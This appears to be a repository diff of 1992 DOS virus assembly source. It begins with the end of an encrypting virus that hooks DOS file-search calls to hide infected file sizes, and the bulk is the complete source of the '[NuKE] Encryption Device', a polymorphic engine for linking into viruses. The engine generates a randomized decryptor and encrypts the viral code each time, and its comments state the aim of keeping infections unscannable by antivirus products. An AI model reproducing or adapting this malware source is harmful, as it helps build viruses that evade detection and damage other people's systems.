Mov S_3[1],Ax
Mov S_4[1],Ax
Doit: Pop Ax
Push Ax
And Ax,3
Shl Ax,1
Mov Si,Ax
Mov Ax,Word Ptr Table[Si]
Mov Si,Ax
Lea Di,decr
Movsw
Movsw
Movsw
Movsw
Pop Ax
Stosb
Movsb
Mov Dl,Al
Lea Si,Decr
Lea Di,Coder
Mov Cx,DecrLen
Rep Movsb
Lea Si,Crypt
Mov Cx,CryptLen
Encrypt: Lodsb
Xor Al,Dl
Stosb
Loop Encrypt
Cmp Dl,0
Je Fuckit
Ret
FuckIt: Lea Si,Encr0
Lea Di,Coder
Mov Cx,Encr0Len
Rep Movsb
Mov Ax,Cs:jump[1]
Add Ax,Encr0Len+2
Mov Cs:jump[1],Ax
Ret
Table DW Offset S_1
DW Offset S_2
DW Offset S_3
DW Offset S_4
S_1: Lea Si,0
Mov Cx,0
DB 80h,34h
Inc Si
S_2: Lea Di,0
Mov Cx,0
DB 80h,35h
Inc Di
S_3: Mov Cx,0
Lea Si,0
DB 80h,34h
Inc Si
S_4: Mov Cx,0
Lea Di,0
DB 80h,35h
Inc Di
Db '[ '
Encr0 Db 'John Tardy'
Encr0Len Equ $-Encr0
Db ' / Trident'
Db ' ]'
getdta: pop si
pushf
push ax
push bx
push es
mov ah,2fh
call dos
jmp short si
FindFCB: call DOS
cmp al,0
jne Ret1
call getdta
cmp byte ptr es:[bx],-1
jne FCBOk
add bx,8
FCBOk: mov al,es:[bx+16h]
and al,1fh
cmp al,1fh
jne FileOk
sub word ptr es:[bx+1ch],Virlen
sbb word ptr es:[bx+1eh],0
jmp short Time
Find: call DOS
jc Ret1
call getdta
mov al,es:[bx+16h]
and al,1fh
cmp al,1fh
jne FileOk
sub word ptr es:[bx+1ah],VirLen
sbb word ptr es:[bx+1ch],0
Time: xor byte ptr es:[bx+16h],10h
FileOk: pop es
pop bx
pop ax
popf
Ret1: retf 2
Db '| Trapped in a spell of the Necromonicon |'
dos: pushf
call dword ptr cs:[old21]
ret
Org_prg dw 0cd90h
db 20h
fnam db 8 dup (0)
db '.'
db 3 dup (0)
db 0
fatr dw 0
fdat dw 0,0
jump db 0e9h,0,0
ResLen Equ ($-Decr)/10h
ParLen Equ (Reslen*2)+10h
CryptLen Equ $-Crypt
VirLen Equ $-Decr
Coder Equ $
+958
View File
@@ -0,0 +1,958 @@
;******************************************************************************
; [NuKE] BETA TEST VERSION -- NOT FOR PUBLIC RELEASE!
;
; This product is not to be distributed to ANYONE without the complete and
; total agreement of both the author(s) and [NuKE]. This applies to all
; source code, executable code, documentation, and other files included in
; this package.
;
; Unless otherwise specifically stated, even the mere existance of this
; product is not to be mentioned to or discussed in any fashion with ANYONE,
; except with the author(s) and/or other [NuKE] members.
;
; WARNING: This product has been marked in such a way that, if an
; unauthorized copy is discovered ANYWHERE, the violation can be easily
; traced back to its source, who will be located and punished.
; YOU HAVE BEEN WARNED.
;******************************************************************************
;*******************************************************************************
; The [NuKE] Encryption Device v0.90á
;
; (C) 1992 Nowhere Man and [NuKE] International Software Development Corp.
; All Rights Reserved. Unauthorized use strictly prohibited.
;
;*******************************************************************************
; Written by Nowhere Man
; October 18, 1992
; Version 0.90á
;*******************************************************************************
;
; Synopsis: The [NuKE] Encryption Device (N.E.D.) is a polymorphic mutation
; engine, along the lines of Dark Avenger's now-famous MtE.
; Unlike MtE, however, N.E.D. can't be SCANned, and probably will
; never be, either, since there is no reliable pattern between
; mutations, and the engine itself (and its RNG) are always
; kept encrypted.
;
; N.E.D. is easily be added to a virus. Every infection with
; that virus will henceforth be completely different from all
; others, and all will be unscannable, thanks to the Cryptex(C)
; polymorphic mutation algorithm.
;
; N.E.D. only adds about 15 or so bytes of decryption code
; (probably more, depending on which options are enabled), plus
; the 1355 byte overhead needed for the engine itself (about half
; the size of MtE!).
;*******************************************************************************
;*******************************************************************************
; Segment declarations
;*******************************************************************************
.model tiny
.code
;*******************************************************************************
; Equates used to save three bytes of code (was it worth it?)
;*******************************************************************************
load_point equ si + _load_point - ned_start
encr_instr equ si + _encr_instr - ned_start
store_point equ si + _store_point - ned_start
buf_ptr equ si + _buf_ptr - ned_start
copy_len equ si + _copy_len - ned_start
copy_off equ si + _copy_off - ned_start
v_start equ si + _v_start - ned_start
options equ si + _options - ned_start
byte_word equ si + _byte_word - ned_start
up_down equ si + _up_down - ned_start
mem_reg equ si + _mem_reg - ned_start
loop_reg equ si + _loop_reg - ned_start
key_reg equ si + _key_reg - ned_start
mem_otr equ si + _mem_otr - ned_start
used_it equ si + _used_it - ned_start
jump_here equ si + _jump_here - ned_start
adj_here equ si + _adj_here - ned_start
word_adj_table equ si + _word_adj_table - ned_start
byte_adj_table equ si + _byte_adj_table - ned_start
the_key equ si + _the_key - ned_start
crypt_type equ si + _crypt_type - ned_start
op_byte equ si + _op_byte - ned_start
rev_op_byte equ si + _rev_op_byte - ned_start
modr_m equ si + _modr_m - ned_start
dummy_word_cmd equ si + _dummy_word_cmd - ned_start
dummy_three_cmd equ si + _dummy_three_cmd - ned_start
tmp_jmp_store equ si + _tmp_jmp_store - ned_start
jump_table equ si + _jump_table - ned_start
rand_val equ si + _rand_val - ned_start
;******************************************************************************
; Publics
;******************************************************************************
public nuke_enc_dev
public ned_end
;*******************************************************************************
; [NuKE] Encryption Device begins here....
;*******************************************************************************
ned_begin label near ; Start of the N.E.D.'s code
;******************************************************************************
; nuke_enc_dev
;
; This procedure merely calls ned_main.
;
; Arguments: Same as ned_main; this is a shell procedure
;
; Returns: Same as ned_main; this is a shell procedure
;******************************************************************************
nuke_enc_dev proc near
public nuke_enc_dev ; Name in .OBJs and .LIBs
push bx ;
push cx ;
push dx ; Preserve registers
push si ; (except for AX, which is
push di ; used to return something)
push bp ;
call ned_main ; Call the [NuKE] Encryption
; Device, in all it's splendor
pop bp ;
pop di ;
pop si ;
pop dx ; Restore registers
pop cx ;
pop bx ;
ret ; Return to the main virus
; This the copyright message (hey, I wrote the thing, so I can waste a few
; bytes bragging...).
copyright db 13,10
db "[NuKE] Encryption Device v0.90á",13,10
db "(C) 1992 Nowhere Man and [NuKE]",13,10,0
nuke_enc_dev endp
;******************************************************************************
; ned_main
;
; Fills a buffer with a random decryption routine and encrypted viral code.
;
; Arguments: AX = offset of buffer to hold data
; BX = offset of code start
; CX = offset of the virus in memory (next time around!)
; DX = length of code to copy and encrypt
; SI = options:
; bit 0: dummy instructions
; bit 1: MOV variance
; bit 2: ADD/SUB substitution
; bit 3: garbage code
; bit 4: don't assume DS = CS
; bits 5-15: reserved
;
; Returns: AX = size of generated decryption routine and encrypted code
;******************************************************************************
ned_main proc near
mov di,si ; We'll need SI, so use DI
not di ; Reverse all bits for TESTs
call ned_start ; Ah, the old virus trick
ned_start: pop si ; for getting our offset...
mov word ptr [used_it],0 ; A truely hideous way to
mov word ptr [used_it + 2],0; reset the register usage
mov word ptr [used_it + 4],0; flags...
mov byte ptr [used_it + 6],0;
add dx,ned_end - ned_begin ; Be sure to encrypt ourself!
mov word ptr [buf_ptr],ax ; Save the function
mov word ptr [copy_off],bx ; arguments in an
mov word ptr [v_start],cx ; internal buffer
mov word ptr [copy_len],dx ; for later use
mov word ptr [options],di ;
xchg di,ax ; Need the buffer offset in DI
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
mov word ptr [byte_word],ax ; Save byte/word flag
mov ax,2 ; Select another random number
call rand_num ; between 0 and 1
xor ax,ax ; !!!!DELETE ME!!!!
mov word ptr [up_down],ax ; Save up/down flag
mov ax,4 ; Select a random number
call rand_num ; between 0 and 3
mov word ptr [mem_reg],ax ; Save memory register
xchg bx,ax ; Place in BX for indexing
shl bx,1 ; Convert to word index
mov bx,word ptr [mem_otr + bx] ; Get register number
inc byte ptr [used_it + bx] ; Cross off register
xor cx,cx ; We need a word register
call random_reg ; Get a random register
inc byte ptr [used_it + bx] ; Cross it off...
mov word ptr [loop_reg],ax ; Save loop register
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
or ax,ax ; Does AX = 0?
je embedded_key ; If so, the key's embedded
mov cx,word ptr [byte_word] ; CX holds the byte word flag
neg cx ; By NEGating CX and adding one
inc cx ; CX will be flip-flopped
call random_reg ; Get a random register
inc byte ptr [used_it + bx] ; Cross it off...
mov word ptr [key_reg],ax ; Save key register
jmp short create_routine ; Ok, let's get to it!
embedded_key: mov word ptr [key_reg],-1 ; Set embedded key flag
create_routine: call add_nop ; Add a do-nothing instruction?
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
or ax,ax ; Does AX = 0?
je pointer_first ; If so, load pointer then count
call load_count ; Load start register
call add_nop ; Add a do-nothing instruction?
call load_pointer ; Load pointer register
jmp short else_end1 ; Skip the ELSE part
pointer_first: call load_pointer ; Load start register
call add_nop ; Add a do-nothing instruction?
call load_count ; Load count register
else_end1: call add_nop ; Add a do-nothing instruction?
call load_key ; Load encryption key
call add_nop ; Add a do-nothing instruction?
mov word ptr [jump_here],di ; Save the offset of the loop
call add_decrypt ; Create the decryption code
call add_nop ; Add a do-nothing instruction?
call adjust_ptr ; Adjust the memory pointer
call add_nop ; Add a do-nothing instruction?
call end_loop ; End the decryption loop
call random_fill ; Pad with random bullshit?
mov ax,di ; AX points to our current place
sub ax,word ptr [buf_ptr] ; AX now holds # bytes written
mov bx,word ptr [adj_here] ; Find where we need to adjust
add word ptr [bx],ax ; Adjust the starting offset
add ax,word ptr [copy_len] ; Add length of encrypted code
push ax ; Save this for later
mov bx,word ptr [crypt_type]; BX holds encryption type
mov bl,byte ptr [rev_op_byte + bx] ; Load encryption byte
mov bh,0D8h ; Fix a strange problem...
mov word ptr [encr_instr],bx; Save it into our routine
mov cx,word ptr [copy_len] ; CX holds # of bytes to encrypt
cmp word ptr [byte_word],0 ; Are we doing it by bytes?
je final_byte_k ; If so, reset LODS/STOS stuff
mov byte ptr [load_point],0ADh ; Change it to a LODSW
mov byte ptr [store_point],0ABh ; Change it to a STOSW
shr cx,1 ; Do half as many repetitions
mov bx,word ptr [the_key] ; Reload the key
inc byte ptr [encr_instr] ; Fix up for words...
jmp short encrypt_virus ; Let's go!
final_byte_k: mov byte ptr [load_point],0ACh ; Change it to a LODSW
mov byte ptr [store_point],0AAh ; Change it to a STOSW
mov bl,byte ptr [the_key] ; Ok, so I did this poorly...
encrypt_virus: mov si,word ptr [copy_off] ; SI points to the original code
; This portion of the code is self-modifying. It may be bad style, but
; it's far more efficient than writing six or so different routines...
_load_point: lodsb ; Load a byte/word into AL
_encr_instr: xor al,bl ; Encrypt the byte/word
_store_point: stosb ; Store the byte/word at ES:[DI]
loop _load_point ; Repeat until all bytes done
; Ok, we're through... back to normal
pop ax ; AX holds routine length
ret ; Return to caller
_buf_ptr dw ? ; Pointer: storage buffer
_copy_len dw ? ; Integer: # bytes to copy
_copy_off dw ? ; Pointer: original code
_v_start dw ? ; Pointer: virus start in file
_options dw ? ; Integer: bits set options
_byte_word dw ? ; Boolean: 0 = byte, 1 = word
_up_down dw ? ; Boolean: 0 = up, 1 = down
_mem_reg dw ? ; Integer: 0-4 (SI, DI, BX, BP)
_loop_reg dw ? ; Integer: 0-6 (AX, BX, etc.)
_key_reg dw ? ; Integer: -1 = internal
_mem_otr dw 4,5,1,6 ; Array: Register # for mem_reg
_used_it db 7 dup (0) ; Array: 0 = unused, 1 = used
_jump_here dw ? ; Pointer: Start of loop
_adj_here dw ? ; Pointer: Where to adjust
ned_main endp
;******************************************************************************
; load_count
;
; Adds code to load the count register, which stores the number of
; iterations that the decryption loop must make. if _byte_word = 0
; then this value is equal to the size of the code to be encrypted;
; if _byte_word = 1 (increment by words), it is half that length
; (since two bytes are decrypted at a time).
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
load_count proc near
mov bx,word ptr [loop_reg] ; BX holds register number
mov dx,word ptr [copy_len] ; DX holds size of virus
mov cx,word ptr [byte_word] ; Neat trick to divide by
shr dx,cl ; two if byte_word = 1
mov cx,1 ; We're doing a word register
call gen_mov ; Generate a move
ret ; Return to caller
_word_adj_table db 00h, 03h, 01h, 02h, 06h, 07h, 05h ; Array: ModR/M adj.
_byte_adj_table db 04h, 00h, 07h, 03h, 05h, 01h, 06h, 02h ; Array ""/byte
load_count endp
;******************************************************************************
; load_pointer
;
; Adds code to load the pointer register, which points to the byte
; or word of memory that is to be encrypted. Due to the flaws of
; 8086 assembly language, only the SI, DI, BX, and BP registers may
; be used.
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;******************************************************************************
load_pointer proc near
mov bx,word ptr [mem_reg] ; BX holds register number
shl bx,1 ; Convert to word index
mov bx,word ptr [mem_otr + bx] ; Convert register number
mov al,byte ptr [word_adj_table + bx] ; Table look-up
add al,0B8h ; Create a MOV instruction
stosb ; Store it in the code
mov word ptr [adj_here],di ; Save our current offset
mov ax,word ptr [v_start] ; AX points to virus (in host)
cmp word ptr [up_down],0 ; Are we going upwards?
je no_adjust ; If so, no ajustment needed
add ax,word ptr [copy_len] ; Point to end of virus
no_adjust: stosw ; Store the start offset
ret ; Return to caller
load_pointer endp
;******************************************************************************
; load_key
;
; Adds code to load the encryption key into a register. If _byte_word = 0
; a 8-bit key is used; if it is 1 then a 16-bit key is used. If the key
; is supposed to be embedded, no code is generated at this point.
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
load_key proc near
mov ax,0FFFFh ; Select a random number
call rand_num ; between 0 and 65534
inc ax ; Eliminate any null keys
mov word ptr [the_key],ax ; Save key for later
mov bx,word ptr [key_reg] ; DX holds the register number
cmp bx,-1 ; Is the key embedded?
je blow_this_proc ; If so, just leave now
xchg dx,ax ; DX holds key
mov cx,word ptr [byte_word] ; CX holds byte/word flag
call gen_mov ; Load the key into the register
blow_this_proc: ret ; Return to caller
_the_key dw ? ; Integer: The encryption key
load_key endp
;******************************************************************************
; add_decrypt
;
; Adds code to dencrypt a byte or word (pointed to by the pointer register)
; by either a byte or word register or a fixed byte or word.
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
add_decrypt proc near
test word ptr [options],010000b ; Do we need a CS: override
jne no_override ; If not, don't add it...
mov al,02Eh ; Store a code-segment
stosb ; override instruction (CS:)
no_override: mov ax,3 ; Select a random number
call rand_num ; between 0 and 2
mov word ptr [crypt_type],ax; Save encryption type
xchg bx,ax ; Now transfer it into BX
mov ax,word ptr [byte_word] ; 0 if byte, 1 if word
cmp word ptr [key_reg],-1 ; Is the key embedded?
je second_case ; If so, it's a different story
add al,byte ptr [op_byte + bx] ; Adjust by operation type
stosb ; Place the byte in the code
mov ax,word ptr [mem_reg] ; AX holds register number
mov cl,3 ; To get the ModR/M table
shl ax,cl ; offset, multiply by eight
mov bx,word ptr [key_reg] ; BX holds key register number
cmp word ptr [byte_word],0 ; Is this a byte?
je byte_by_reg ; If so, special case
mov bl,byte ptr [word_adj_table + bx] ; Create ModR/M
jmp short store_it_now ; Now save the byte
byte_by_reg: mov bl,byte ptr [byte_adj_table + bx] ; Create ModR/M
store_it_now: xor bh,bh ; Clear out any old data
add bx,ax ; Add the first index
mov al,byte ptr [modr_m + bx] ; Table look-up
stosb ; Save it into the code
cmp word ptr [mem_reg],3 ; Are we using BP?
jne a_d_exit1 ; If not, leave
xor al,al ; For some dumb reason we'll
stosb ; have to specify a 0 adjustment
a_d_exit1: ret ; Return to caller
second_case: add al,080h ; Create the first byte
stosb ; and store it in the code
mov al,byte ptr [op_byte + bx] ; Load up the OP byte
mov bx,word ptr [mem_reg] ; BX holds register number
mov cl,3 ; To get the ModR/M table
shl bx,cl ; offset, multiply by eight
add al,byte ptr [modr_m + bx] ; Add result of table look-up
stosb ; Save it into the code
cmp word ptr [mem_reg],3 ; Are we using BP?
jne store_key ; If not, store the key
xor al,al ; For some dumb reason we'll
stosb ; have to specify a 0 adjustment
store_key: cmp word ptr [byte_word],0 ; Is this a byte?
je byte_by_byte ; If so, special case
mov ax,word ptr [the_key] ; Load up *the key*
stosw ; Save the whole two bytes!
jmp short a_d_exit2 ; Let's split, man
byte_by_byte: mov al,byte ptr [the_key] ; Load up *the key*
stosb ; Save it into the code
a_d_exit2: ret ; Return to caller
_crypt_type dw ? ; Integer: Type of encryption
_op_byte db 030h,000h,028h ; Array: OP byte of instruction
_rev_op_byte db 030h,028h,000h ; Array: Reverse OP byte of ""
_modr_m db 004h, 00Ch, 014h, 01Ch, 024h, 02Ch, 034h, 03Ch ; SI
db 005h, 00Dh, 015h, 01Dh, 025h, 02Dh, 035h, 03Dh ; DI
db 007h, 00Fh, 017h, 01Fh, 027h, 02Fh, 037h, 03Fh ; BX
db 046h, 04Eh, 056h, 05Eh, 066h, 06Eh, 076h, 07Eh ; BP
add_decrypt endp
;******************************************************************************
; adjust_ptr
;
; Adds code to adjust the memory pointer. There are two possible choices:
; INC/DEC and ADD/SUB (inefficient, but provides variation).
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
adjust_ptr proc near
mov cx,word ptr [byte_word] ; CX holds byte/word flag
inc cx ; Increment; now # INCs/DECs
mov bx,word ptr [mem_reg] ; BX holds register number
shl bx,1 ; Convert to word index
mov bx,word ptr [mem_otr + bx] ; Convert register number
mov dx,word ptr [up_down] ; DX holds up/down flag
call gen_add_sub ; Create code to adjust pointer
ret ; Return to caller
adjust_ptr endp
;******************************************************************************
; end_loop
;
; Adds code to adjust the count variable, test to see if it's zero,
; and repeat the decryption loop if it is not. There are three possible
; choices: LOOP (only if the count register is CX), SUB/JNE (inefficient,
; but provides variation), and DEC/JNE (best choice for non-CX registers).
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
end_loop proc near
mov bx,word ptr [loop_reg] ; BX holds register number
cmp bx,2 ; Are we using CX?
jne dec_jne ; If not, we can't use LOOP
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
or ax,ax ; Does AX = 0?
jne dec_jne ; If not, standard ending
mov al,0E2h ; We'll do a LOOP instead
stosb ; Save the OP byte
jmp short store_jmp_loc ; Ok, now find the offset
dec_jne: mov cx,1 ; Only adjust by one
mov dx,1 ; We're subtracting...
call gen_add_sub ; Create code to adjust count
mov al,075h ; We'll do a JNE to save
stosb ; Store a JNE OP byte
store_jmp_loc: mov ax,word ptr [jump_here] ; Find old offset
sub ax,di ; Adjust relative jump
dec ax ; Adjust by one (DI is off)
stosb ; Save the jump offset
ret ; Return to caller
end_loop endp
;******************************************************************************
; add_nop
;
; Adds between 0 and 3 do-nothing instructions to the code, if they are
; allowed by the user (bit 0 set).
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
add_nop proc near
push ax ; Save AX
push bx ; Save BX
push cx ; Save CX
test word ptr [options],0001b; Are we allowing these?
jne outta_here ; If not, don't add 'em
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
or ax,ax ; Does AX = 0?
je outta_here ; If so, don't add any NOPs...
mov ax,4 ; Select a random number
call rand_num ; between 0 and 3
xchg cx,ax ; CX holds repetitions
jcxz outta_here ; CX = 0? Split...
add_nop_loop: mov ax,4 ; Select a random number
call rand_num ; between 0 and 3
or ax,ax ; Does AX = 0?
je two_byter ; If so, a two-byte instruction
cmp ax,1 ; Does AX = 1?
je three_byter ; If so, a three-byte instruction
mov al,090h ; We'll do a NOP instead
stosb ; Store it in the code
jmp short loop_point ; Complete the loop
two_byter: mov ax,34 ; Select a random number
call rand_num ; between 0 and 33
xchg bx,ax ; Place in BX for indexing
shl bx,1 ; Convert to word index
mov ax,word ptr [dummy_word_cmd + bx] ; Get dummy command
stosw ; Save it in the code...
jmp short loop_point ; Complete the loop
three_byter: mov ax,16 ; Select a random number
call rand_num ; between 0 and 15
mov bx,ax ; Place in BX for indexing
shl bx,1 ; Convert to word index
add bx,ax ; Add back value (BX = BX * 3)
mov ax,word ptr [dummy_three_cmd + bx] ; Get dummy command
stosw ; Save it in the code...
mov al,byte ptr [dummy_three_cmd + bx + 2]
stosb ; Save the final byte, too
loop_point: loop add_nop_loop ; Repeat 0-2 more times
outta_here: pop cx ; Restore CX
pop bx ; Restore BX
pop ax ; Restore AX
ret ; Return to caller
_dummy_word_cmd: ; Useless instructions,
; two bytes each
mov ax,ax
mov bx,bx
mov cx,cx
mov dx,dx
mov si,si
mov di,di
mov bp,bp
xchg bx,bx
xchg cx,cx
xchg dx,dx
xchg si,si
xchg di,di
xchg bp,bp
nop
nop
inc ax
dec ax
inc bx
dec bx
inc cx
dec cx
inc dx
dec dx
inc si
dec si
inc di
dec di
inc bp
dec bp
cmc
cmc
jmp short $ + 2
je $ + 2
jne $ + 2
jg $ + 2
jge $ + 2
jl $ + 2
jle $ + 2
jo $ + 2
jpe $ + 2
jpo $ + 2
js $ + 2
jcxz $ + 2
_dummy_three_cmd: ; Useless instructions,
; three bytes each
xor ax,0
or ax,0
add ax,0
add bx,0
add cx,0
add dx,0
add si,0
add di,0
add bp,0
sub ax,0
sub bx,0
sub cx,0
sub dx,0
sub si,0
sub di,0
sub bp,0
add_nop endp
;******************************************************************************
; gen_mov
;
; Adds code to load a register with a value. If MOV variance is enabled,
; inefficient, sometimes strange, methods may be used; if it is disabled,
; a standard MOV is used (wow). Various alternate load methods include
; loading a larger value then subtracting the difference, loading a
; smaller value the adding the difference, loading an XORd value then
; XORing it by a key that will correct the difference, loading an incorrect
; value and NEGating or NOTing it to correctness, and loading a false
; value then loading the correct one.
;
; Arguments: BX = register number
; CX = 0 for byte register, 1 for word register
; DX = value to store
; SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
gen_mov proc
test word ptr [options],0010b; Do we allow wierd moves?
je quick_fixup ; If so, short jump over JMP
jmp make_mov ; If not, standard MOV
quick_fixup: jcxz byte_index_0 ; If we're doing a byte, index
mov bl,byte ptr [word_adj_table + bx] ; Table look-up
jmp short get_rnd_num ; Ok, get a random number now
byte_index_0: mov bl,byte ptr [byte_adj_table + bx] ; Table look-up
get_rnd_num: mov ax,7 ; Select a random number
call rand_num ; between 0 and 6
shl ax,1 ; Convert AX into word index
lea bp,word ptr [jump_table] ; BP points to jump table
add bp,ax ; BP now points to the offset
mov ax,word ptr [bp] ; AX holds the jump offset
add ax,si ; Adjust by our own offset
mov word ptr [tmp_jmp_store],ax ; Store in scratch variable
mov ax,0FFFFh ; Select a random number
call rand_num ; between 0 and 65564
xchg bp,ax ; Place random number in BP
jmp word ptr [tmp_jmp_store]; JuMP to a load routine!
load_move: xchg dx,bp ; Swap DX and BP
call make_mov ; Load BP (random) in register
call add_nop ; Add a do-nothing instruction?
xchg dx,bp ; DX now holds real value
jmp short make_mov ; Load real value in reigster
load_sub: add dx,bp ; Add random value to load value
call make_mov ; Create a MOV instruction
call add_nop ; Add a do-nothing instruction?
mov ah,0E8h ; We're doing a SUB
jmp short make_add_sub ; Create the SUB instruction
load_add: sub dx,bp ; Sub. random from load value
call make_mov ; Create a MOV instruction
call add_nop ; Add a do-nothing instruction?
mov ah,0C0h ; We're doing an ADD
jmp short make_add_sub ; Create the ADD instruction
load_xor: xor dx,bp ; XOR load value by random
call make_mov ; Create a MOV instruction
call add_nop ; Add a do-nothing instruction?
mov ah,0F0h ; We're doing an XOR
jmp short make_add_sub ; Create the XOR instruction
load_not: not dx ; Two's-compliment DX
call make_mov ; Create a MOV instruction
call add_nop ; Add a do-nothing instruction?
load_not2: mov al,0F6h ; We're doing a NOT/NEG
add al,cl ; If it's a word, add one
stosb ; Store the byte
mov al,0D0h ; Initialize the ModR/M byte
add al,bl ; Add back the register info
stosb ; Store the byte
ret ; Return to caller
load_neg: neg dx ; One's-compliment DX
call make_mov ; Create a MOV instruction
add bl,08h ; Change the NOT into a NEG
jmp short load_not2 ; Reuse the above code
make_mov: mov al,0B0h ; Assume it's a byte for now
add al,bl ; Adjust by register ModR/M
jcxz store_mov ; If we're doing a byte, go on
add al,008h ; Otherwise, adjust for word
store_mov: stosb ; Store the OP byte
mov ax,dx ; AX holds the load value
put_byte_or_wd: jcxz store_byte ; If it's a byte, store it
stosw ; Otherwise store a whole word
ret ; Return to caller
store_byte: stosb ; Store the byte in the code
ret ; Return to caller
make_add_sub: mov al,080h ; Create the OP byte
add al,cl ; If it's a word, add one
stosb ; Store the byte
mov al,ah ; AL now holds ModR/M byte
add al,bl ; Add back the register ModR/M
stosb ; Store the byte in the code
xchg bp,ax ; AX holds the ADD/SUB value
jmp short put_byte_or_wd ; Reuse the above code
_tmp_jmp_store dw ? ; Pointer: temp. storage
_jump_table dw load_sub - ned_start, load_add - ned_start
dw load_xor - ned_start, load_not - ned_start
dw load_neg - ned_start, load_move - ned_start
dw make_mov - ned_start
gen_mov endp
;******************************************************************************
; gen_add_sub
;
; Adds code to adjust a register either up or down. A random combination
; of ADD/SUBs and INC/DECs is used to increase code variability. Note
; that this procedure will only work on *word* registers; attempts to
; use this procedure for byte registers (AH, AL, etc.) may result in
; invalid code being generated.
;
; Arguments: BX = ModR/M table offset for register
; CX = Number to be added/subtracted from the register
; DX = 0 for addition, 1 for subtraction
; SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
gen_add_sub proc near
jcxz exit_g_a_s ; Exit if there's no adjustment
add_sub_loop: call add_nop ; Add a do-nothing instruction?
cmp cx,3 ; Have to adjust > 3 bytes?
ja use_add_sub ; If so, no way we use INC/DEC!
test word ptr [options],0100b; Are ADD/SUBs allowed?
jne use_inc_dec ; If not, only use INC/DECs
mov ax,3 ; Select a random number
call rand_num ; between 0 and 2
or ax,ax ; Does AX = 0?
je use_add_sub ; If so, use ADD or SUB
use_inc_dec: mov al,byte ptr [word_adj_table + bx] ; Table look-up
add al,040h ; It's an INC...
or dx,dx ; Are we adding?
je store_it0 ; If so, store it
add al,08h ; Otherwise create a DEC
store_it0: stosb ; Store the byte
dec cx ; Subtract one fromt total count
jmp short cxz_check ; Finish off the loop
use_add_sub: mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
shl ax,1 ; Now it's either 0 or 2
mov bp,ax ; Save the value for later
add al,081h ; We're going to be stupid
stosb ; and use an ADD or SUB instead
mov al,byte ptr [word_adj_table + bx] ; Table look-up
add al,0C0h ; It's an ADD...
or dx,dx ; Are we adding?
je store_it1 ; If so, store it
add al,028h ; Otherwise create a SUB
store_it1: stosb ; Store the byte
mov ax,cx ; Select a random number
call rand_num ; between 0 and (CX - 1)
inc ax ; Ok, add back one
or bp,bp ; Does BP = 0?
je long_form ; If so, it's the long way
stosb ; Store the byte
jmp short sub_from_cx ; Adjust the count now...
long_form: stosw ; Store the whole word
sub_from_cx: sub cx,ax ; Adjust total count by AX
cxz_check: or cx,cx ; Are we done yet?
jne add_sub_loop ; If not, repeat until we are
exit_g_a_s: ret ; Return to caller
gen_add_sub endp
;******************************************************************************
; random_fill
;
; Pads out the decryption with random garbage; this is only enabled if
; bit 3 of the options byte is set.
;
; Arguments: SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: None
;******************************************************************************
random_fill proc near
test word ptr [options],01000b ; Are we allowing this?
jne exit_r_f ; If not, don't add garbage
mov ax,2 ; Select a random number
call rand_num ; between 0 and 1
xchg cx,ax ; Wow! A shortcut to save
jcxz exit_r_f ; a byte! If AX = 0, exit
mov ax,101 ; Select a random number
call rand_num ; between 0 and 100
xchg cx,ax ; Transfer to CX for LOOP
jcxz exit_r_f ; If CX = 0 then exit now...
mov al,0EBh ; We'll be doing a short
stosb ; jump over the code...
mov ax,cx ; Let's get that value back
stosb ; We'll skip that many bytes
garbage_loop: mov ax,0FFFFh ; Select a random number
call rand_num ; between 0 and 65534
stosb ; Store a random byte
loop garbage_loop ; while (--_CX == 0);
exit_r_f: ret ; Return to caller
random_fill endp
;******************************************************************************
; random_reg
;
; Returns the number of a random register. If CX = 1, a byte register is
; used; if CX = 0, a word register is selected.
;
; Arguments: CX = 0 for word, 1 for byte
; SI = offset of ned_start
; DI = offset of storage buffer
;
; Returns: AX = register number
; BX = register's offset in cross-off table (used_it)
;******************************************************************************
random_reg proc near
get_rand_reg: mov ax,cx ; Select a random number
add ax,7 ; between 0 and 6 for words
call rand_num ; or 0 and 7 for bytes
mov bx,ax ; Place in BX for indexing
shr bx,cl ; Divide by two for bytes only
cmp byte ptr [used_it + bx],0 ; Register conflict?
jne get_rand_reg ; If so, try again
ret ; Return to caller
random_reg endp
;******************************************************************************
; rand_num
;
; Random number generation procedure for the N.E.D. This procedure can
; be safely changed without affecting the rest of the module, with the
; following restrictions: all registers that are changed must be preserved
; (except, of course, AX), and AX must return a random number between
; 0 and (BX - 1). This routine was kept internal to avoid the mistake
; that MtE made, that is using a separate .OBJ file for the RNG. (When
; a separate file is used, the RNG's location isn't neccessarily known,
; and therefore the engine can't encrypt it. McAfee, etc. scan for
; the random-number generator.)
;
; Arguments: BX = maximum random number + 1
;
; Returns: AX = psuedo-random number between 0 and (BX - 1)
;******************************************************************************
rand_num proc near
push dx ; Save DX
push cx ; Save CX
push ax ; Save AX
rol word ptr [rand_val],1 ; Adjust seed for "randomness"
add word ptr [rand_val],0754Eh ; Adjust it again
xor ah,ah ; BIOS get timer function
int 01Ah
xor word ptr [rand_val],dx ; XOR seed by BIOS timer
xor dx,dx ; Clear DX for division...
mov ax,word ptr [rand_val] ; Return number in AX
pop cx ; CX holds max value
div cx ; DX = AX % max_val
xchg dx,ax ; AX holds final value
pop cx ; Restore CX
pop dx ; Restore DX
ret ; Return to caller
_rand_val dw 0 ; Seed for generator
rand_num endp
ned_end label near ; The end of the N.E.D.
end
@@ -0,0 +1,345 @@
; ------------------------------------------------------------------------- ;
